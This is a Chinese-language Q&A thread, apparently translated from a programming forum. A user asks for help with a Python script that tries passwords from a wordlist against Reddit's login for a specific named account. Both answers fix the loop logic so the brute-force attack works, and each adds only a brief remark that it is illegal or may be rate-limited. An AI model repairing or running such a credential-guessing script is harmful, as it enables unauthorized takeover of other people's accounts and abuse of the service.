我有这段代码,当我运行它时,它只是一遍又一遍地重复相同的密码!
import requests
url = 'https://www.reddit.com/login/'
arq = open('C:/Users/Amel/Desktop/Python/BruteForce/wordlist.txt')
for line in arq:
password = line.strip()
http = requests.put(url,
data={'loginUsername' : 'skoolees', 'loginPassword' : password,
'AnimatedForm__submitButton' : 'submit'})
content = http.content
while url == 'https://www.reddit.com/login/':
print('Password incorrect : ', password)
while url == 'https://www.reddit.com':
print('Password correct : ', password)
break
答案 0 :(得分:2)
Amel,您应该使用if elif
而不是while
您while url == 'https://www.reddit.com/login/'
绝不会被评估为假,因为您不会更改url
的值。
此外,您要检查输出,而不是未更改的变量url
试试看
if http.url == 'https://www.reddit.com/login/':
print('Password incorrect : ', password)
elif http.url == 'https://www.reddit.com':
print('Password correct : ', password)
break
请注意,这是非法的,并且是Reddit行为准则所禁止的。
答案 1 :(得分:0)
while循环的目的是什么?您是否尝试过将它们更改为if
?
此外,您可能要检查响应的URL(在您的情况下为http.url
),而不是变量url
。
...
http = requests.put(...
...
if http.url == 'https://www.reddit.com/login/':
print('Password incorrect : ', password)
else:
print('Password correct : ', password)
注意:可能不允许强行使用reddit,并且它们很可能具有限速机制,在尝试几次后就会阻止您。